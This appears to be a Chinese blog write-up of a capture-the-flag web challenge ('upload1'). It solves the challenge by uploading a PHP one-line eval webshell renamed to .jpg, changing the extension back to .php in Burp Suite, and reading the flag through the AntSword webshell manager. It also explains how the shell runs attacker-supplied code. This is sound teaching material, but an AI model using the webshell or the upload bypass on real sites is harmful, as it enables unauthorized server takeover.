当前位置: 首页 > article >正文

攻防世界web第六题upload1

在这里插入图片描述
这是题目,可以看出是个上传文件的题目,考虑文件上传漏洞,先随便上传一个文件试试,要求上传的是图片。在这里插入图片描述
可以看到上传成功。
考虑用一句话木马解决,构造文件并修改后缀为jpg,然后上传。

<?php
@eval($_POST['attack']);
?>

上传成功
在这里插入图片描述
打开burpsuite,
在这里插入图片描述
jpg改为php
在这里插入图片描述
forward,看到php格式上传成功
在这里插入图片描述
打开蚁剑,
在这里插入图片描述
打开flag.php,找到flag
在这里插入图片描述
在这里插入图片描述
总结:文件上传漏洞,通过一句话木马获取访问后台的权限,进而拿到flag

知识点:
1.一句话木马:
一句话木马就是只需要一行代码的木马,短短一行代码,就能做到和大马相当的功能。为了绕过waf的检测,一句话木马出现了无数种变形和流量加密方式,但本质是不变的:木马的函数执行了我们发送的命令,并将命令的执行结果返回。
一般WEB页面通过GET 、POST 、COOKIE这三种方式向一个网站提交数据,一句话木马用KaTeX parse error: Double superscript at position 8: _GET[' '̲]、_POST[’ ‘]、$_COOKIE[’ '] 接收客户端传递的数据,并把接收的数据传递给一句话木马中执行命令的函数,进而执行命令。

<?php @eval($_POST['attack']);?>

利用文件上传漏洞,往目标网站中上传一句话木马,

@表示后面即使执行错误,也不报错

eval()函数表示括号内的全都当做代码执行

$_POST[‘attack’]表示从页面中获得attack参数值
当我们从页面给attack赋值PHP代码后就会得到执行,蚁剑的原理就是构造获取后台的PHP代码然后上传并执行!

2.burpsuite
Burp Suite是一款流行的集成式Web应用程序安全测试工具套件,广泛应用于渗透测试、安全审计、黑盒测试和漏洞研究等Web安全领域。它由PortSwigger公司开发,提供可视化界面和扩展机制,支持各种安全测试,可通过代理截获HTTP和HTTPS请求,观察请求和响应,对请求进行修改和重发,协助发现和验证Web应用程序的各种漏洞,如跨站点脚本、SQL注入、文件包含等。

Burp Suite包含了多个工具,如代理、重放器、爬虫、扫描器和拦截器等。其中,代理是最重要的组件之一,可以拦截所有的HTTP/HTTPS请求和响应,对数据进行修改和重发,使测试人员可以更全面地了解Web应用程序的行为。另外,Burp Suite的扫描器可以自动发现应用程序中可能存在的漏洞,提高了测试效率和准确性。

Burp Suite是一款功能强大、易于使用的Web应用程序安全测试工具套件,对于Web应用程序的安全测试和评估提供了有力的支持。

3.蚁剑
中国蚁剑(AntSword)是一款跨平台的开源网站管理工具,旨在为渗透测试人员、安全研究人员以及网站管理员提供一个强大的工具集。该项目主要使用JavaScript作为编程语言,结合了Electron、ES6、dhtmlx、Node.js等技术栈,确保了工具的跨平台兼容性和高效性。

项目核心功能
中国蚁剑的核心功能包括但不限于:

网站管理:提供全面的网站管理功能,包括文件管理、数据库管理、命令执行等。
跨平台支持:支持Windows、Linux、macOS等多个操作系统,确保用户在不同环境下都能高效使用。
模块化设计:采用模块化设计思路,方便用户理解和修改代码,同时也鼓励社区贡献。


http://www.kler.cn/a/463899.html

相关文章:

  • 日志聚类算法 Drain 的实践与改良
  • Web安全 - “Referrer Policy“ Security 头值不安全
  • 日常工作常用命令集合
  • 运维人员的Go语言学习路线
  • C++ —— 模板类扩展
  • 沁恒CH32V208GBU6蓝牙MTU二:减小连接间隔提升速度;修改GAP里面的连接参数提高兼容性
  • 如何使用交叉编译器调试C语言程序在安卓设备中运行
  • 计算机网络原理(谢希仁第八版)第3章课后习题答案
  • vscode ssh远程连接已配置好仍然不能自动登录问题解决
  • java的bio、nio、aio 以及操作系统的select、poll、epoll
  • 【开源免费】基于SpringBoot+Vue.JS校园社团信息管理系统(JAVA毕业设计)
  • 解决表格数据量大时ie浏览器卡顿
  • Python中PDF转Word的技术
  • web课程设计--酷鲨商城-springboot和vue
  • Solon 加入 GitCode:助力国产 Java 应用开发新飞跃
  • OpenGL入门最后一章观察矩阵(照相机)
  • 【2024年-6月-14日-开源社区openEuler实践记录】探索 test - tools:高效测试的开源宝库
  • 电子电器架构 --- 自动驾驶技术中的LiDAR
  • windows编译llama.cpp GPU版本
  • Java Web开发基础——Java Web项目中的MVC设计模式
  • Leetcode打卡:二叉树中的链表
  • C++进阶重点知识(一)|智能指针|右值|lambda|STL|正则表达式
  • 《深入浅出HTTPS​​​​​​​​​​​​​​​​​》读书笔记(23):密钥协商算法(续)
  • ChatGLM2-6B模型推理流程和模型架构详解
  • SpringBoot_第二天
  • 机器学习中回归预测模型中常用四个评价指标MBE、MAE、RMSE、R2解释